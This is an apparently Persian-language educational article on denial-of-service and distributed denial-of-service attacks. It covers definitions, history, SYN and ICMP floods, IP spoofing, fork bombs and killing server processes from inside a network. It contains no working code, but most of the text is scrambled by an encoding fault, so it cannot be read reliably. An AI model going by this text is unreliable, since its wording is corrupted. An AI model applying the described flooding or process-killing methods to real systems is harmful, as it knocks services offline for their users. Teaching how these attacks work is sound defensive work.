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 هقذهَ ًْیغٌذٍ:

وُاع ظؼ قبلٍبی قجل ظؼ ظویبی ٌکؽٌب کً زملات کبمپیُتؽی اکثؽا اؾ یک وُع ثُظ َ مبوىع زملات امؽَؾی اؾ ا   

مطتلف وجُظ َ اکثؽ ٌکؽٌبی کلاي مهکی َ ثؽخكتً اؾ یکک وکُع زملکً اقکت بظي مکی کؽظوکعح امکب زمکلات 

امؽَؾی ثكیبؼ پیچیعي تؽ َ قىگیه تؽ اؾ زملات گػنتً َ ثً زتم ؾیبن ثبؼتؽ ٌكتىعحیکی اؾ ایه وُع زملات، 

و کُغگؽان اؾ ایکه کً ثب ٌعف تکػیت قؽَیف اودکب  مکی نکُظ، مکی ثبنکعح ٌکعف ٌکؽٌکب َ  DoSزملات 

 DoSزملات، َاؼظ کؽظن َؽثبت اقتًبظی َ قیبقی ثً یک گؽَي، نؽکت یب قبؾمبن اقتح زمکلات اؾ وکُع 

یکب اضکلاد ظؼ  Denial of Serviceػلی ؼغکم مهکبثٍت ثکب قیكکتم ػکبملی ثکب ٌمکیه وکب ، مط کف کلمکبت 

ػملکی، -نٍبی ػلمیقؽَیف ظٌی اقت َ ثؽاقبـ آن ٌکؽٌب َ و ُغگؽان تلال می کىىع ثً یکی اؾ ؼَ

 مبوغ اؾ قؽَیف ظٌی یک قؽَیف ظٌىعي ظؼ یک نجکً نُوعح

قبظي َ فًل ظَ  مؽثکُِ ثکً زمکلات  DoSمقبلً ؾیؽ ظؼ ظَ فًل تىظیم نعي کً فًل اَد مؽثُِ ثً زملات 

DoS  تُؾیغ نعي یب ٌمبن زملاتDDoS می ثبنعح 

یم امىیتی ایؽان ٌک میكؽ گهتً اقکت ثً تلال ایىدبوت َ ٌمت اػُبی ت لاؾ  ثً غکؽ اقت ایه مقبلً   

قعؼظاوی ومبیم َ ثکؽای  Mr.XpRکً نبیكتً می ظاوم اؾ ؾزمبت یکبیک ایهبن ػلی الطًُو معیؽیت تیم، 

 تک تک ایهبن آؼؾَی مُفقیت ؼَؾ افؿَن ؼا ضُاقتبؼ ح
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 تػکؽ:

ؼا ظاؼا ثکُظي َ  DoSتمبمی مطبلت مُخُظ ظؼ ایه مقبلکً فقکّ خىجکً آمکُؾل زمکلات می کىم  اػلا اکیعاً    

ٌؽگُوً اقت بظي وبثدب اؾ مطبلت ثً ػٍعي ضُاوىعي ضُاٌع ثکُظ َ وُیكکىعي مقبلکً َ تکیم امىیتکی ایکؽان ٌکک 

ظ تکیم امىیتکی ایکؽان ٌکک مس کُ  تمبمی زقکُ  ایکه مقبلکً وکؿ حمكئُلیتی ؼا پػیؽا وطُاٌىع ثُظ ٌیچگُوً

 اقتح
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Chapter 01 

DoS Attacks 
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 (تکزیة عشّیظ)  DoS حولات

 تعشیف:

زملات تکػیت قؽَیف، پؽکبؼثؽظ تؽیه زملات ایىتؽوتی ظؼ ثیه ظیگؽ زملات ایىتؽوتی ٌكتىعح ظؼ ایه وُع    

ثؽای تغییؽ وسُي کبؼکؽظ یب معیؽیت یک قکبمبوً اؼتجکبِی یکب  (attacker)زملً، ٌکؽ یب و ُغگؽ یب زملً کىىعي 

اِلاػبتی اقعا  می کىعح قبظي تؽیه ومُوً قؼی اؾ کبؼ اوعاضته ضبظ  ٌبی وؽ  افکؿاؼی یکب قکطت افکؿاؼی 

اقتح پیؽَ چىیه زملاتی، ٌکؽ پف اؾ اؾ کبؼ اوعاضته قبمبوً کً مؼمُلاً قبمبوً ای اقکت ککً مهککلاتی 

ػبت فؽاٌم آَؼظي اقت، اقعا  ثً قؽقت، تغییؽ یب و ُغ ثً مىجغ اِلاػبتی می کىعح ثؽای ظقتؽقی ثً اِلا

ظؼ ثؽضی اؾ زبلات، ظؼ پی زملً اودب  نعي، قؽَیف ظٌىعي مُؼظ وظؽ ثً ُِؼ کبمل قطغ ومی نُظ َ تىٍب 

ن ظؼ کبؼایی آن ضلل ایدبظ می نُظ کً ظؼ ایه زبلت ٌکؽ ثکب قکُا اقکت بظي اؾ ایکه ضلکل ایدکبظ نکعي ثکً آ

 قؽَیف ظٌىعي و ُغ می کىعح

 :DoSُذف کلی حولات 

 :گیؽظ ثً ُِؼ کلی اودب  ایه زملً ثؽای اٌعاف ؾیؽ يُؼت می

 (اوتقبد فبیلیب  قبیتظقتؽقی ثً ) نجکًظٌی  پبییه آَؼظن قؽػت َ کی یت قؽَیف ح1

 قبیت مُؼظ وظؽ اؾ ظقتؽـ ضبؼج کؽظن َة ح2

 (ٌبname server ٌب )ثب زملً ثً قبیت قطغ ظقتؽقی تمب  َة ح3

 (ٌب )کً ثً ثمت ایمیلی ویؿ مؼؽَف اقت افؿایم تؼعاظ ٌؽؾوبمً ح4

َ ممکه اقت یک نجکً َ یب زتی ؼَتؽ ویؿ لاؾ  ثً غکؽ اقت کً ایه زملً فقّ مطتى ثً قؽَؼٌب ویكت 

ؼا مطتل کىع )ٌمبوطُؼ کً ظؼ ِکُد تکبؼیص  ایىتؽوتای اؾ  مُؼظ زملً قؽاؼ گیؽظ َ ممکه اقت کبؼ ثطم ػمعي

 .(اقت ایه زملً مطتل نعي ثبؼ ایىتؽوت کل ظویب ثب۲

 :DoSتاسیخچَ حولات 

 َ Bellovin تُقکّ زملکً ایکه اودکب  ؼَلح نکع نىبقکبیی 1994 قکبد ظؼ TCP پؽَتکل ظؼ مُخُظ َؼف   

Cheswick کتبة ظؼ Firewall and Internet Security ظَ تکب متقکبثلی کبؼ ؼاي ٌیچ نىبقبییح گؽظیع مؼؽفی 

 اؾ گػنتًح نع مىتهؽ Phrack وب  ثً ای مدلً ظؼ SYN flood زملً قیقظ تُيیفح وهع اؼائً آن اؾ پف یبد

 ِکُؼ ثکًح ح گؽفکت قکؽاؼ اقکت بظي مُؼظ َ نعي پطم قؽػت ثً ثؽوبمً ثُظ، ؼَل ایه ظؼ کً خؿئی ضطبٌبی

 اؾ ٌمگکبن اِکلاع ثبػک  MAIL ظٌىکعي قکؽَیف ٌبی ایىتؽوتی ضعمبت نؽکت اؾ یکی ػلیً ای زملً ضبو

 ثکُظ قٍؽیکً قُي نعي نىبضتً ٌبی ؼَل پبیً ثؽ ایىکً ثؽ ػلاَي SYN floodح عن ظٌی قؽَیف نعن قطغ

 ثکؽای ککً گؽفکت می قؽاؼ ٌعف مُؼظ end-hostزملً ایه ظؼ کؽظ، می تًؽف ؼا نجکً مىبثغ قبظگی ثً کً

 حثُظ ویبؾ کمتؽی ثكتً تؼعاظ ثً آن مىبثغ ظاظن ٌعؼ

 شکل حولَ:

ب مهغُد نعن ثیم اؾ زع کبمپیُتؽ مکی نکُظ تکب زکعی ککً غیکؽ ایه وُع اؾ زملات ثبػ  اؾ کبؼ افتبظن ی   

قبثل اقت بظي نُظح ظؼ ثیهتؽ مُاؼظ، ز ؽي ٌبی امىیتی مسل اودب  ایه زملات ٌكتىع َ لػا وًکت آضکؽیه 

Patch ٌبی امىیتی اؾ زملً خلُگیؽی ضُاٌىع کؽظح نبیبن غکؽ اقت ککً ػکلاَي ثکؽ ایکه ککً ککبمپیُتؽ نکمب

ػلیً یک قیكتم ظیگؽ ویؿ نؽکت ظاظي  DoSی گیؽظ، ممکه اقت کً ظؼ زملً قؽاؼ م DoSٌعف یک زملً 

نُظح ٌکؽٌب ثب ایدبظ تؽافیک ثی مُؼظ َ ثی اقت بظي ثبػ  می نُوع ککً زدکم ؾیکبظی اؾ مىکبثغ قکؽَیف 

http://fa.wikipedia.org/wiki/%D8%B4%D8%A8%DA%A9%D9%87_%D8%B1%D8%A7%DB%8C%D8%A7%D9%86%D9%87%E2%80%8C%D8%A7%DB%8C
http://fa.wikipedia.org/wiki/%D8%B3%D8%A7%DB%8C%D8%AA
http://fa.wikipedia.org/wiki/%D9%BE%D8%B1%D9%88%D8%AA%DA%A9%D9%84_%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84_%D9%81%D8%A7%DB%8C%D9%84
http://fa.wikipedia.org/wiki/%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA
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ظٌىعي َ پٍىبی ثبوع نجکً مًؽف َ ثکً وکُػی ظؼگیکؽ ؼقکیعگی ثکً ایکه تقبَکبٌبی ثکی مکُؼظ نکُظ َ ایکه 

کً ظقتگبي قؽَیف ظٌىعي ؼا ثً ؾاوُ ظؼآَؼظ اظامً پیعا می کىعح ویت اَلیً َ تبثیؽ زمکلات تقبَبٌب تب خبیی 

DoS خلُگیؽی اؾ اقت بظي يسیر اؾ مىبثغ کبمپیُتؽی َ نجکً ای َ اؾ ثیه ثؽظن ایه مىبثغ اقتح 

قؽَیف  ، یک مٍبخم ثبػ  ممبوؼت ظقتیبثی کبؼثؽان تبییع نعي ثً اِلاػبت یبDoSظؼ یک تٍبخم اؾ وُع    

ٌبی ضبيی می نُظح یک مٍبخم ثب ٌعف قؽاؼ ظاظن کبمپیُتؽ نمب َ اتًکبد نکجکً ای آن ثکب کبمپیُتؽٌکب َ 

نجکً ای اؾ قبیت ٌبیی کً قًع اقت بظي اؾ آوٍب ؼا ظاؼیع، ثبػ  قکلت ظقکتیبثی نکمب ثکً قکبیت ٌکبی 

نککعي ؼَی  پكککت الکتؽَویککک، َثكککبیت ٌککب، زكککبة ٌککبی کککبؼثؽی آولایککه َ قککبیؽ قککؽَیف ٌککبی اؼائککً

 کبمپیُتؽٌبی قؽَیف ظٌىعي می نُظح

، ؾمبوی مطکؽذ مکی نکُظ ککً مٍکبخم اقکعا  ثکً ایدکبظ یکک DoSمتعاَد تؽیه َ مهٍُظتؽیه وُع زملات    

یک َثكبیت ضبو ؼا اؾ ِؽیق مؽَؼگؽ ضکُظ  URLقیلاة اِلاػبتی ظؼ یک نجکً کىعح ؾمبوی کً کبؼثؽ آظؼـ 

ىعي اؼقبد می نُظح قؽَیف ظٌىعي ظؼ ٌؽ لسظً قبظؼ ثکً تبیپ می کىع، ظؼضُاقت َی ثؽای قؽَیف ظٌ

پبقص گُیی ثً زدم مسعَظی اؾ ظؼضُاقت ٌب می ثبنع، ثىبثؽایه اگؽ یک مٍبخم ثباؼقبد ظؼضُاقت ٌبی 

امککبن پکؽظاؾل ظؼضُاقکت  متؼعظ َ قیلاة گُوً ثبػ  افؿایم زدم ػملیبت قؽَیف ظٌىعي نُظ، قطؼکب  

ٌكکتىع، چؽاککً امککبن  DoSوطُاٌکع ظانکتح زمکلات فکُ  اؾ وکُع ٌبی کبؼثؽ ثؽای قؽَیف ظٌىعي َخکُظ 

 ظقتیبثی کبؼثؽ ثً قبیت مُؼظ وظؽ قلت نعي اقتح

یک مٍبخم می تُاوع ثب اقبد ایمیل ٌبی وبضُاقتً اؾ وُع ٌؽؾوبمً، زملات مهبثٍی ؼا متُخً قؽَیف    

اضتیبؼ کبؼثؽ قؽاؼ می ظٌع، وظیؽ ظٌىعي ایمیل کىعح ٌؽ زكبة کبؼثؽی ایمیل يؽف وظؽ اؾ مىجؼی کً آن ؼا ظؼ 

ظاؼای  ؽفیت مسعَظی ٌكکتىعح پکف Yahoo! َHotmailقبؾمبن مؽثًُِ یب قؽَیف ٌبی ؼایگبوی ٌمچُن 

اؾ تکمیل  ؽفیت فُ ، ػملا اؼقبد ایمیل ظیگؽی ثً زكبة کبؼثؽی فُ  َخُظ وطُاٌع ظانتح مٍبخمبن ثب 

ة کبؼثؽی مُؼظ وظکؽ ؼا تکمیکل کىىکع َ ػمکلا اؼقبد ایمیل ٌبی وبضُاقتً قؼی می کىىع کً  ؽفیت زكب

 امکبن ظؼیبفت ایمیل ٌبی مؼتجؽ ؼا اؾ آن زكبة کبؼثؽی قلت کىعح

ویكتىع ؾیؽا ایه زمکلات ثکً  DoSثكیبؼی اؾ قبیت ٌبی ثؿؼگ ویؿ ظؼ زبد زبَؽ قبظؼ ثً مقبثلً ثب زملات    

 TCPکی ثبلا لهکؽی اؾ ثكکتً ٌکبی وُع مت بَتی قبؾمبن ظٌی می نُوع َ ظؼ ثیهتؽ اَقبت ثب ایدبظ تؽافی

ؼا ثً قمت قکؽَیف ٌکبی ضکعمبت ظٌىکعي قکؽاؾیؽ مکی کىىکعح ثکً ػىکُان مثکبد ظؼ ٌىگکب  ثُخکُظ آمکعن َ 

پککف اؾ آلکُظي نککعن يکعٌب ٌککؿاؼ ککبمپیُتؽ ظؼ قؽاقککؽ ظویکب ثُقککیلً ایکه کککؽ   Blasterنىبقکبیی َیکؽَـ 

فت اقکت بظي مکی ککؽظ، ضجکؽی ثکب ایکه کبمپیُتؽی کً اؾ یک َؼف ظؼ قیكتم ػبمل ٌبی َیىعَؾ مبیکؽَقکب

آگُقکککت نکککؽَع ثکککً اؼقکککبد پبککککت ٌکککبیی ثکککً قکککمت َثكکککبیت  22ػىکککُان ککککً ایکککه َیکککؽَـ ظؼ ؼَؾ 

www.windowsupdate.com  می کىع ظؼ ؼقبوً ٌبی امىیتی اوتهبؼ یبفت کً ظؼ پی آن مكئُلیه امىیتکی

ٌکبی خٍکبوی DNSَ زکػف  www.windowsupdate.comمبیکؽَقبفت چبؼي ای خؿ اؾ ککبؼ اوکعاضته قکبیت 

وعیعوعح ثب ایىکً آوبن تکب آضکؽیه لسظکبت اؾ ػىکُان ککؽظن ؼَل ضکُظ یؼىکی اؾ ککبؼ اوکعاضته قکبیت مکُؼظ وظکؽ 

ضُظظاؼی می کؽظوع، امب قبثل پکیم ثیىکی ثکُظ ککً ثکً ٌکیچ َخکً قکؽَیف ٌکبی ضکعمبت ظٌىکعي نکؽکت 

ظ َ ظیؽ یب ؾَظ اؾ قؽَیف ظٌکی ثکبؾ مکی مبیکؽَقبفت ویؿ قبظؼ ثً مقبثلً ثب ایه زدم تؽافیک ثبلا وطُاٌىع ثُ

 مبوىعح
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قکؽَؼ  13ثؿؼگ ظؼ قطر ایىتؽوت ثُظیمح زملً ای کً ثکؽ ػلیکً  DoSچىع َقت پیم ویؿ نبٌع یک زملً    

ايلی مُخُظ ظؼ ایىتؽوت اودب  نع کً َ ی ً ایه قؽَؼٌب، کىتؽد آظؼقکٍبی ایىتؽوتکی َ تؽخمکً آوٍکب ثکؽای 

DNS قؽَؼ خبن قکبلم  4قؽَؼ ثؿؼگ، تىٍب  13نعیع ظؼ ایىتؽوت ثُظ َ اؾ ثیه ایه ٌب ثُظ کً وتیدً آن تؽافیک

قؽَؼ ثبقی مبوعي َ ی ً اوتقبد اِلاػبت َ ثؽقکؽاؼی اؼتجبِکبت َ تؽافیکک ایىتؽوکت َ  4ثً ظؼ ثؽظوع کً اگؽ ایه 

ؾ  ثً نعي ؼا ثؽػٍعي ومی گؽفتىع، کل نجکً ایىتؽوت اؾ کبؼ می افتبظح لاDownَ ی ً قؽَؼٌبی ضبمُل یب 

ثُظ ککً ظؼ  DDoS (Distributed Denial of Service)تُؾیغ نعي  DoSغکؽ اقت کً ایه زملً اؾ وُع زملات 

 اظامً ثً ثؽؼقی ایه گُوً اؾ زملات ویؿ ضُاٌیم پؽظاضتح

 :DDoSّ حولات  DoSتفاّت تیي حولات 

ایکه ظَ َخکُظ ظاؼظح آن ٌكتىع امب یک ت بَت خؿئکی ثکیه  DoSؾیؽ مدمُػً زملات  DDoSثب ایه کً زملات 

کؽظن یب ظؼٌم نکكته یک قؽَیف ظٌىعي)قکؽَؼ( اودکب  مکی نکُوع  Crashثؽای  DoSٌم ایىکً زملات 

 ثؽای اضتلاد َ ایدبظ نلُغی ظؼ قؽَیف ظٌىعي)قؽَؼ( می نُوعح DDoSَلی زملات 

 

یكتم ٌبی ػلیؽغم تلال َ مىبثؼی کً ثؽای ایمه قبؾی ػلیً و ُغ َ ضؽاة کبؼی مًؽف نعي اقت، ق   

مُاخکً ٌكکتىعح ایکه امکؽ ثکً ظلیکل ظَ مهطًکً  DoS متًل ثً ایىتؽوت ثب تٍعیکع َاقؼکی َ مکعاَ  زمکلات

 اقبقی ایىتؽوت اقت:

 هٌاتع تشکیل دٌُذٍ ایٌتشًت تَ ًْعی هحذّد ّ هصشف شذًی ُغتٌذ

مسکعَظ  ؾیؽ قبضتبؼ قیكتم ٌب َ نجکً ٌبی متًل ثً ٌم ککً ایىتؽوکت ؼا مکی قکبؾوع، ککبملا اؾ مىکبثغ   

تهکیل نعي اقتح پٍىبی ثبوع، قعؼت پؽظاؾل َ  ؽفیت ٌبی غضیؽي قبؾی، ٌمگی مسعَظ َ ٌکعف ٌکبی 

ٌكتىعح مٍبخمبن ثب اودب  ایه زملات قؼی می کىىکع ثکب مًکؽف ککؽظن مقکعاؼ قبثکل  DoSمؼمُد زملات 

قتی ِؽازی تُخٍی اؾ مىبثغ ظؼ ظقتؽـ، ثبػ  قطغ میؿاوی اؾ قؽَیف ٌب نُوعح َفُؼ مىبثؼی کً ثً ظؼ
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ثبنکع، امکب نکیُي ٌکب َ  DoSَ اقت بظي نعي اوع، ممکه اقت ػبملی ثؽای کبٌم میؿان تبثیؽ یکک زملکً 

 اثؿاؼٌبی امؽَؾی زملً زتی ظؼ کبؼکؽظ ثكیبؼی اؾ مىبثغ ویؿ اضتلاد ایدبظ می کىىعح

 اهٌیت ایٌتشًت تا حذ صیادی ّاتغتَ تَ توام عْاهل اعت

ىع وقطً کً اؾ ظیکع قیكکتم یکب نکجکً قؽثکبوی، ػبمکل ثیؽَوکی ٌكکتىع، مؼمُلا اؾ یک یب چ DoSزملات    

يُؼت می گیؽظح ظؼ ثكیبؼی اؾ مُاؼظ، وقطً آغبؾ زملً نبمل یک یب چىع قیكتم اقت کً اؾ ِؽیکق قکُا 

اقت بظي ٌبی امىیتی ظؼ اضتیبؼ ٌکؽٌب قؽاؼ میگیؽوع َ لػا زملات اؾ قیكتم یب قیكتم ٌبی ضکُظ ٌکؽٌکب 

ىبثؽایه، ظفبع ػلیً و ُغ وً تىٍب ثً ز ب ت اؾ امُاد مؽتجّ ثب ایىتؽوت کمک می کىع، ثلکً يُؼت ومی گیؽظح ث

ثً خلُگیؽی اؾ اقت بظي اؾ ایه امُاد ثؽای زملً ثً قبیؽ نجکً ٌب َ قیكتم ٌب ویؿ کمک ضُاٌع کؽظح پف 

ثكکیبؼی اؾ  ثعَن تُخً ثً ایىکً قیكتم ٌبیتبن ثً چً میؿان مسبفظت می نکُوع، قکؽاؼ گکؽفته ظؼ مؼکؽٌ

 ، ثً ََؼیت امىیتی ظؼ قبیؽ قكمت ٌبی ایىتؽوت ثكتگی ؾیبظی ظاؼظحDoSاوُاع زملات َ مهطًب زملً 

تىٍب یک ثس  ػملی ویكتح مسعَظ کؽظن میؿان تقبَکب، فیلتکؽ ککؽظن ثكکتً ٌکب َ  DoSمقبثلً ثب زملات    

کمکک کىکع،  DoSکؽظن اثکؽ زمکلات ظقتکبؼی پبؼامتؽٌبی وؽ  افؿاؼی ظؼ ثؽضی اؾ مُاؼظ می تُاوع ثً مسعَظ 

ظؼ زبد مًؽف کؽظن تمب  مىبثغ مُخُظ وجبنعح ظؼ ثكیبؼی اؾ مُاؼظ، تىٍب مکی  DoSامب ثً نؽِی کً زملً 

تُان یک ظفبع َاکىهی ظانتُ ایه ظؼ يُؼتی اقت کً مىبثغ یب مىجغ زملً مهطى نُظح اقت بظي اؾ خؼل 

بی زملات تُؾیغ نعي َ اثؿاؼٌبی مُخُظ یک چکبلم ظؼ ُِد زملً،  ٍُؼ ؼَل ٌ IP (IP Spoofing)آظؼـ 

مکی  DoSپبقکص ظٌىکع، قکؽاؼ ظاظي اقکتح زمکلات  DoSٌمیهگی ؼا ظؼ مقبثل کكبوی کً ثبیع ثً زمکلات 

 Locally)تُاوع زبلت ض تً َ ٌعایت نُوعي اؾ قجل، ظانتً ثبنع َ اؾ ظؼَن یکک نکجکً مسلکی آغکبؾ نکُظ 

DoS) ثیؽَن نؽَع نُظ  یب آوکً ثب ٌعایت مكتقیم ٌکؽٌب اؾ(Remote DoS)ح 

 ثً ظَ ظقتً ؾیؽ تقكیم می نُوع: DoSاؾ ظیعگبي فىی، زملات 

 زملً ای کً مكتقیمب مىدؽ ثً تُقف قؽَیف ٌبی مبنیه نُظح 

 زملً ای کً مىدؽ ثً انجبع یک قؽَیف ظٌىعي َ تلف نعن مىبثغ آن نُظح 

قؽَیف ظٌىعي" ٌكتىعح ایکه وکُع زملکً اؾ وُع اَد، ٌعف زملً مكتقیمب " پؽَقً ٌبی  DoSظؼ زملات 

 ثً ؼَل ٌبی ؾیؽ امکبن پػیؽ اقت:

 (Process Killingزملً اؾ ظؼَن نجکً اؾ ِؽیق وبثُظ کؽظن پؽَقً ٌبی ظؼ زبد اخؽا ) -1

 (Configuration Modifying)تغییؽ ظؼ پیکؽ ثىعی یک قیكتم یب قؽَیف ظٌىعي  -2

 (Process Crashing)کؽظن یک پؽَقً  لظؼٌم نکكته َ کؽ -3

 (Malformed Packet Attack)زملً اؾ ثیؽَن ثب اؼقبد ثكتً ٌبی وبقى  -4

وُع ظَ ، ٌعف زملکً آن اقکت ککً مىکبثغ قیكکتمی یکک قکؽَیف ظٌىکعي مثکل زبفظکً  DoSظؼ زملات 

ايلی، زبفظً خبوجی َ امثبد آن ثگُوً ای تلف نُظ کً زتی ثب َخُظ فؼبد ثُظن قؽَیف ظٌىعي، ککبؼثؽان 

 اؾ آن ؼا وعانتً ثبنىعح ایىگُوً زملات می تُاوىع ثً يُؼت ٌبی ؾیؽ اودب  نُوع:امکبن قؽَیف گؽفته 

  ایدبظ متُالی پؽَقً ٌبی فؽؾوع َ تکؽاؼ فؽایىعFork  تب خبیی کً خعَد پؽَقً ٌب پؽ نُظ )زملً اؾ

 ظؼَن(ح

 انجبع قیكتم فبیل ثب اِلاػبت ثیٍُظي )زملً اؾ ظؼَن(ح 
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 ف ظٌىعي )زملً اؾ ثیؽَن(خبؼی کؽظن قیل ثكتً ٌب ثً قمت قؽَی 

« یک مىجغ ثً یک مقًکع » اَلیً نبمل اثؿاؼ قبظي ای ثُظ کً ثكتً ٌب ؼا تُلیع َ اؾ  DoSتکىُلُژی زملات 

اؾ چىکعیه » ، «یک مىجغ ثً چىعیه ٌعف » اؼقبد می کؽظح ثب گػنت ؾمبن، اثؿاؼٌب تب زع اخؽای زملات اؾ 

پیهؽفت کؽظي اوعح امکؽَؾي ثیهکتؽیه زمکلات « ىعیه ٌعف چىعیه مىجغ ثً چ» َ « مىجغ ثً ٌعف ٌبی تىٍب 

مجىی ثؽ اؼقبد تؼعاظ ثكیبؼی ثكتً ثً یک مقًع اقت ککً ثبػک  ایدکبظ وقکبِ  CERT/CCگؿاؼل نعي ثً 

اوتٍبیی ثكیبؼ ؾیبظ َ مًؽف پٍىبی ثبوع نجکً می نُظح اؾ چىیه زملاتی مؼمُلا ثً ػىُان زملات ِغیکبن 

گکؿاؼل کمتکؽی « زملکً ثکً چىکعیه ٌکعف » می نُظح امکب ظؼ مکُؼظ زملکً یبظ  (Packet Flooding)ثكتً 

 ظؼیبفت نعي اقتح

اوُاع ثكتً ٌبی مُؼظ اقت بظي ثؽای زملات ِغیبن ثكتً، ظؼ ُِد ؾمبن تغییؽ کؽظي اقت، امب چىکعیه وکُع 

 اقت بظي می نُوعح DoSثكتً مؼمُد َخُظ ظاؼوع کً ٌىُؾ تُقّ اثؿاؼ زملً 

  طغیاى ُایTCP :  ًای اؾ ثكکتً ٌکبی ؼنکتTCP  ثکب پکؽچم(Flag)  ٌکبی مت کبَت ثکً قکمتIP 

 ثیهتؽ مُؼظ اقت بظي قؽاؼ می گیؽوعح SYN ،ACK  َRSTقؽثبوی فؽقتبظي می نُوعح پؽچم ٌبی 

ثً آظؼـ  ICMPؼنتً ای اؾ ثكتً ٌبی  (:Ping)هاًٌذ طغیاى ُای  ICMPطغیاى ُای تقاضا/پاعخ 

IP ؾ ایه وُع زملً ظؼ نکل ؾیؽ وهبن ظاظي نعي اقتح(قؽثبوی فؽقتبظي می نُظح ومُوً ای ا 

 

اؾ آودب کً زملات ِغیبن ثكتً ٌبی ظاظي مؼمُلا تلال می کىىع مىبثغ پٍىبی ثبوع َ پؽظاؾل ؼا ضلکغ قکلاذ 

کىىع، میؿان ثكتً ٌب ػُامل مٍمکی ظؼ تؼیکیه ظؼخکً مُفقیکت زملکً ٌكکتىعح ثؼُکی اؾ اثؿاؼٌکبی زملکً 

 ً ٌب ثً ظلایلی تغییؽ می ظٌىع:ضُاو ثكتً ٌب ؼا ظؼ ؼنتً ثكت

 IPیب ٌمکبن  IPمىجغ وبيسیر، )ؼَنی کً خؼل  IPظؼ ثؼُی اؾ مُاؼظ یک آظؼـ هٌثع:  IPآدسط   -1

Spoofing  وبمیعي می نُظ( ثؽای پىٍبن کؽظن مىجغ َاقؼی یک ؼنتً ثكتً اقت بظي می نکُظح ظؼ

یک یکب تؼکعاظ ثیهکتؽی اؾ  ٌىگبمی اقت بظي می نُظ کً ؼنتً ٌبی ثكتً ثً IPمُاؼظ ظیگؽ، خؼل 

 قبیت ٌبی َاقطً فؽقتبظي می نُظ تب ثبػ  نُظ کً پبقص ٌب ثً قمت قؽثبوی اؼقبد نُظح 
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، گکبٌی اَقکبت پکُؼت مىجکغ یکب TCP  َUDPاثؿاؼ ِغیبن ثكتً ثؽ اقبـ  پْست ُای هٌثع/هقصذ: -2

 مقًع ؼا تغییؽ می ظٌىع تب َاکىم تُقّ فیلتؽ کؽظن ثكتً ؼا مهکل تؽ کىىعح

مهکبٌعي ککؽظیم ککً ثکؽای مقکعاؼظٌی  DoSظؼ وٍبیکت ظؼ اثکؿاؼ زملکً  دیگش: IP Headerش هقادی -3

 IPتًبظفی، مقبظیؽ قؽایىع یب ػىُان ٌؽ ثكتً ظؼ ؼنتً ثكتً ٌب ِؽازی نعي اوع ککً تىٍکب آظؼـ 

مقًع اقت کً ثیه ثكتً ٌب ثبثت می مبوعح )ظؼ اظامً ای و ًل ثً ثؽؼقی ایه زمکلات ضکُاٌیم 

 پؽظاضتح(

 

ثکً  TCP/IPٌب ثب ضُاو قبضتگی ثً قبظگی ظؼ ِکُد نکجکً تُلیکع َ اؼقکبد مکی نکُوعح پؽَتککل  ثكتً

آقبوی مکبویؿ  ٌبیی ثؽای تُمیه پیُقتگی ضُاو ثكتً ٌب ظؼ ٌىگکب  تُلیکع یکب اؼقکبد وقطکً ثکً وقطکً 

ی ثكتً ٌب اؼائً ومی کىعح مؼمُلا یک ٌکؽ فقّ ثً ظانته اِلاػبت کبفی ؼَی یک قیكتم ثکؽای ثککبؼگیؽ

 اثؿاؼ َ زملاتی کً قبظؼ ثً تُلیع َ اؼقبد ثكتً ٌبی ثب ضُاو تغییؽ یبفتً ثبنىع، ویبؾ ظاؼظح

 علیَ عشّسُای ّب DoSحولات 

ظؼ ایه قكمت ثً ثؽؼقی زملاتکی ککً مُخکت اضکلاد ظؼ قکؽَیف ظٌکی یکک قیكکتم َیىکعَؾی یکب یکک 

 قؽَیف ظٌىعي می نُوع، می پؽظاؾیم:

 هتْقف کشدى عشّیظ دٌُذٍ اص دسّى

زملً اؾ ظؼَن ثعیه مؼىبقت کً ٌکؽ ثً وسُی ثتُاوع ؼَی یک مبنیه نجکً، ثکؽای ضکُظ زکق ظقتؽقکی 

ایدبظ کىع َ اؾ ظؼَن ثً اضلاد گؽی ثپؽظاؾظح ثعقت آَؼظن چىیه مدُؾی نبیع وتیدً زمکلات قجلکی ثکؽ ػلیکً 

وککؽ  افؿاؼٌککبی یککب اقککت بظي اؾ وککؽ  افؿاؼٌککبی اقککتؽا  قککمغ )مبوىککع  (Password Attack)ؼمککؿ ٌککبی ػجککُؼ 

Snuffer یب ٌؽ تکىیک ظیگؽ ثبنعح ثً ٌؽزبد ثکؽای ثعقکت آَؼظن مدکُؾ َؼَظ ثکؽای یکک ٌککؽ ککً ظؼ خکبیی )

پىٍبن َ امه پىبي گؽفتً، نؽایّ ؼا ثؽای زملً اؾ ظؼَن قیكتم ثؽای اَ فؽاٌم می کىعح )"زملً اؾ ظؼَن" ظؼ 

اَ تُاوكتً اقت ثب و ُغ ثً قیكتم نؽایطی کً نطى ٌکؽ ظؼ ثیؽَن اؾ نجکً اقت، ثعیه مؼىبقت کً 

ٌمبوىع یک کبؼثؽ اضتًبيی ثً ظؼَن نجکً َاؼظ نُظ َ ثعیه تؽتیت یک ػُُ ظؼَوی نکجکً مسكکُة مکی 

نُظح چىیه زملاتی فقکّ مککبویؿ  ٌکبی ظؼَوکی ظاؼوکع َ ظلیلکی وکعاؼظ ککً ٌککؽ ظؼ مسکل فیؿیککی نکجکً 

 وهكتً ثبنع!(

یک ٌکؽ ػبلی تؽیه مدُؾ َؼَظ ثً قیكتم ؼا ثعقت آَؼظ  ظؼ قیكتم ػبمل ٌبی مجتىی ثؽ یُویکف، ٌؽگبي

(root privileges قبظؼ ضُاٌع ثُظ ٌؽ پؽَقکً قکؽَیف ظٌىکعي ای ؼا اؾ ثکیه ثجکؽظ َ متُقکف کىکعح اگکؽ ٌککؽ )

َ ححح متُقکف مکی نکُوع،  telnet ،FTPؼا اؾ یُویکف وبثُظ کىکع، تمکب  قکؽَیف ظٌىکعي ٌکبی  intedظایمُن 

ثکت اؾ تؼکعاظی پؽَقکً قکؽَیف ظٌىکعي، ثکً تمکبمی تقبَکبٌب گکُل مکی ظٌکع َ چؽاکً ایه پؽَقً ثکً ویب

قؽَیف ظٌىعي متىب ؽ ثب ٌؽ پُؼت ثبؾ ؼا فؼبد َ اخؽا می کىعح یؼىی ٌکؽ کبؼی ثکً مىکبثغ قیكکتم وکعاؼظ َ 

قیكتم ؼا ثیمبؼ ومی کىع ثلککً مكکتقیمب قلکت قیكکتم ؼا کىکعي َ ظَؼ مکی اوکعاؾظ! یکک ٌککؽ ثکب قکطر 

 ظؼ اقت یکی اؾ ػملیبت ؾیؽ ؼا اودب  ظٌع:ظقتؽقی کبفی، قب

